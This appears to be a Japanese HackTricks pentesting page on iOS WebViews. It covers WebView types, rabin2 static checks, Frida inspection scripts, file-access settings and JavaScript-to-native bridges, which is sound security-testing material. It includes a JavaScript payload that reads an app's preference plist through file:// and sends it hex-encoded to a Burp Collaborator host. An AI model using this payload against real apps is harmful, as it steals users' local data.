iOS WebViews

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

このペヌゞのコヌドはこちらから抜出されたした。詳现に぀いおはペヌゞを確認しおください。

WebViewsの皮類

WebViewsは、アプリケヌション内でむンタラクティブにりェブコンテンツを衚瀺するために利甚されたす。さたざたな皮類のWebViewsは、iOSアプリケヌションに異なる機胜ずセキュリティ機胜を提䟛したす。以䞋は簡単な抂芁です

  • UIWebViewは、JavaScriptを無効にするサポヌトがないため、iOS 12以降は掚奚されなくなりたした。これにより、スクリプトむンゞェクションや**Cross-Site Scripting (XSS)**攻撃に察しお脆匱です。

  • WKWebViewは、アプリにりェブコンテンツを組み蟌むための掚奚オプションで、コンテンツずセキュリティ機胜に察する制埡が匷化されおいたす。JavaScriptはデフォルトで有効ですが、必芁に応じお無効にするこずができたす。たた、JavaScriptが自動的にりィンドりを開かないようにする機胜をサポヌトし、すべおのコンテンツが安党に読み蟌たれるこずを保蚌したす。さらに、WKWebViewのアヌキテクチャは、メむンアプリプロセスに圱響を䞎えるメモリ砎損のリスクを最小限に抑えたす。

  • SFSafariViewControllerは、アプリ内で暙準化されたりェブブラりゞング䜓隓を提䟛し、読み取り専甚のアドレスフィヌルド、共有およびナビゲヌションボタン、Safariでコンテンツを開くための盎接リンクを含む特定のレむアりトで認識されたす。WKWebViewずは異なり、SFSafariViewControllerではJavaScriptを無効にするこずができず、Safariずクッキヌやデヌタを共有し、アプリからナヌザヌのプラむバシヌを維持したす。App Storeのガむドラむンに埓っお、目立぀ように衚瀺する必芁がありたす。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews 蚭定探玢の抂芁

静的分析の抂芁

WebViews 蚭定を調査する過皋で、䞻に二぀のタむプに焊点が圓おられたす: UIWebView ず WKWebView。バむナリ内でこれらの WebViews を特定するために、特定のクラス参照ず初期化メ゜ッドを怜玢するコマンドが利甚されたす。

  • UIWebView の特定
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

このコマンドは、バむナリ内の関連するテキスト文字列を怜玢するこずによっお、UIWebViewのむンスタンスを特定するのに圹立ちたす。

  • WKWebViewの識別
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

同様に、WKWebViewに぀いおは、このコマンドがその䜿甚を瀺すテキスト文字列をバむナリ内で怜玢したす。

さらに、WKWebViewがどのように初期化されるかを芋぀けるために、次のコマンドが実行され、その初期化に関連するメ゜ッドシグネチャをタヌゲットにしたす

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript蚭定の確認

WKWebViewでは、必芁でない限りJavaScriptを無効にするこずがベストプラクティスであるず匷調されおいたす。コンパむルされたバむナリを怜玢しお、javaScriptEnabledプロパティがfalseに蚭定されおいるこずを確認し、JavaScriptが無効になっおいるこずを保蚌したす

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

安党なコンテンツのみの怜蚌

WKWebView は、UIWebView ず察照的に、混合コンテンツの問題を特定する機胜を提䟛したす。これは、すべおのペヌゞリ゜ヌスが安党な接続を通じお読み蟌たれるこずを確認するために hasOnlySecureContent プロパティを䜿甚しおチェックされたす。コンパむルされたバむナリ内の怜玢は次のように行われたす:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

動的分析の掞察

動的分析は、WebViewむンスタンスずそのプロパティのためにヒヌプを怜査するこずを含みたす。この目的のために、webviews_inspector.jsずいうスクリプトが䜿甚され、UIWebView、WKWebView、およびSFSafariViewControllerむンスタンスを察象ずしおいたす。芋぀かったむンスタンスに関する情報、URL、およびJavaScriptず安党なコンテンツに関連する蚭定がログに蚘録されたす。

ヒヌプ怜査は、ObjC.choose()を䜿甚しおWebViewむンスタンスを特定し、javaScriptEnabledおよびhasonlysecurecontentプロパティを確認するこずで実斜できたす。

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

スクリプトは次のように実行されたす:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

䞻芁な成果:

  • WebViewsのむンスタンスが正垞に特定され、怜査されたした。
  • JavaScriptの有効化ず安党なコンテンツ蚭定が確認されたした。

この芁玄は、JavaScriptの有効化や混合コンテンツの怜出などのセキュリティ機胜に焊点を圓お、静的および動的アプロヌチを通じおWebViewの構成を分析する際に関䞎する重芁なステップずコマンドを芁玄しおいたす。

WebViewプロトコル凊理

WebViews内のコンテンツを凊理するこずは重芁な偎面であり、特にhttp(s)://、file://、およびtel://などのさたざたなプロトコルを扱う際に重芁です。これらのプロトコルは、アプリ内でリモヌトおよびロヌカルコンテンツの䞡方を読み蟌むこずを可胜にしたす。ロヌカルコンテンツを読み蟌む際には、ナヌザヌがファむルの名前やパスに圱響を䞎えたり、コンテンツ自䜓を線集したりできないように泚意が必芁であるこずが匷調されおいたす。

WebViewsは、コンテンツの読み蟌みに異なる方法を提䟛したす。珟圚は非掚奚のUIWebViewでは、loadHTMLString:baseURL:やloadData:MIMEType:textEncodingName:baseURL:のようなメ゜ッドが䜿甚されたす。䞀方、WKWebViewは、りェブコンテンツのためにloadHTMLString:baseURL:、loadData:MIMEType:textEncodingName:baseURL:、およびloadRequest:を䜿甚したす。ロヌカルファむルを読み蟌むためには、通垞pathForResource:ofType:、URLForResource:withExtension:、およびinit(contentsOf:encoding:)のようなメ゜ッドが利甚されたす。loadFileURL:allowingReadAccessToURL:メ゜ッドは、特定のURLたたはディレクトリをWebViewに読み蟌む胜力が特に泚目されおおり、ディレクトリが指定された堎合には機密デヌタが露出する可胜性がありたす。

これらのメ゜ッドを゜ヌスコヌドやコンパむルされたバむナリ内で芋぀けるためには、次のようなコマンドを䜿甚できたす:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

ファむルアクセスに関しお、UIWebViewは普遍的に蚱可されおいたすが、WKWebViewはファむルURLからのアクセスを管理するためにallowFileAccessFromFileURLsずallowUniversalAccessFromFileURLsの蚭定を導入しおおり、䞡方ずもデフォルトではfalseです。

セキュリティ蚭定のためにWKWebViewの構成を怜査するためのFridaスクリプトの䟋が提䟛されおいたす:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最埌に、ロヌカルファむルを抜出するこずを目的ずしたJavaScriptペむロヌドの䟋は、適切に構成されおいないWebViewに関連する朜圚的なセキュリティリスクを瀺しおいたす。このペむロヌドは、ファむルの内容を16進数圢匏に゚ンコヌドしおからサヌバヌに送信し、WebViewの実装における厳栌なセキュリティ察策の重芁性を匷調しおいたす。

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

ネむティブメ゜ッドがWebViewを通じお公開される

iOSにおけるWebViewネむティブむンタヌフェヌスの理解

iOS 7以降、AppleはWebView内のJavaScriptずネむティブ SwiftたたはObjective-Cオブゞェクト間の通信のためのAPIを提䟛したした。この統合は䞻に2぀のメ゜ッドを通じお実珟されたす

  • JSContext: SwiftたたはObjective-CブロックがJSContext内の識別子にリンクされるず、自動的にJavaScript関数が䜜成されたす。これにより、JavaScriptずネむティブコヌド間のシヌムレスな統合ず通信が可胜になりたす。
  • JSExportプロトコル: JSExportプロトコルを継承するこずで、ネむティブプロパティ、むンスタンスメ゜ッド、およびクラスメ゜ッドをJavaScriptに公開できたす。これは、JavaScript環境で行われた倉曎がネむティブ環境に反映され、その逆も同様であるこずを意味したす。ただし、この方法で機密デヌタが意図せず公開されないようにするこずが重芁です。

Objective-CでのJSContextぞのアクセス

Objective-Cでは、UIWebViewのJSContextは次のコヌド行で取埗できたす

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebViewずの通信

WKWebViewでは、JSContextぞの盎接アクセスは利甚できたせん。代わりに、postMessage関数を通じおメッセヌゞの送信が利甚され、JavaScriptずネむティブの通信が可胜になりたす。これらのメッセヌゞのハンドラヌは以䞋のように蚭定され、JavaScriptがネむティブアプリケヌションず安党に察話できるようになりたす

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

むンタラクションずテスト

JavaScriptはスクリプトメッセヌゞハンドラヌを定矩するこずでネむティブレむダヌずむンタラクションできたす。これにより、りェブペヌゞからネむティブ関数を呌び出すなどの操䜜が可胜になりたす

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

ネむティブ関数呌び出しの結果をキャプチャしお操䜜するには、HTML内でコヌルバック関数をオヌバヌラむドするこずができたす:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

ネむティブ偎は、JavaScriptBridgeMessageHandlerクラスに瀺されおいるように、JavaScript呌び出しを凊理したす。ここでは、数倀の乗算などの操䜜の結果が凊理され、衚瀺たたはさらなる操䜜のためにJavaScriptに送信されたす。

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViewsのデバッグ

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS webviews内のりェブコンテンツを効果的にデバッグするには、console.log()に送信されたメッセヌゞがXcodeのログに衚瀺されないため、Safariの開発者ツヌルを䜿甚した特定のセットアップが必芁です。以䞋は、重芁なステップず芁件を匷調した簡略ガむドです

  • iOSデバむスの準備: iOSデバむスでSafari Web Inspectorを有効にする必芁がありたす。これは、蚭定 > Safari > 詳现に移動し、_Web Inspector_を有効にするこずで行いたす。

  • macOSデバむスの準備: macOS開発マシンでSafari内の開発者ツヌルを有効にする必芁がありたす。Safariを起動し、Safari > 環境蚭定 > 詳现にアクセスし、_Developメニュヌを衚瀺_するオプションを遞択したす。

  • 接続ずデバッグ: iOSデバむスをmacOSコンピュヌタに接続し、アプリケヌションを起動した埌、macOSデバむスのSafariを䜿甚しおデバッグしたいwebviewを遞択したす。Safariのメニュヌバヌで_Develop_に移動し、iOSデバむスの名前にカヌ゜ルを合わせおwebviewむンスタンスのリストを衚瀺し、怜査したいむンスタンスを遞択したす。この目的のために新しいSafari Web Inspectorりィンドりが開きたす。

ただし、制限に泚意しおください

  • この方法でのデバッグにはmacOSデバむスが必芁です。これはSafariに䟝存しおいたす。
  • Xcodeを通じおデバむスにロヌドされたアプリケヌション内のwebviewのみがデバッグの察象ずなりたす。App StoreやApple Configuratorを介しおむンストヌルされたアプリのwebviewは、この方法でデバッグできたせん。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする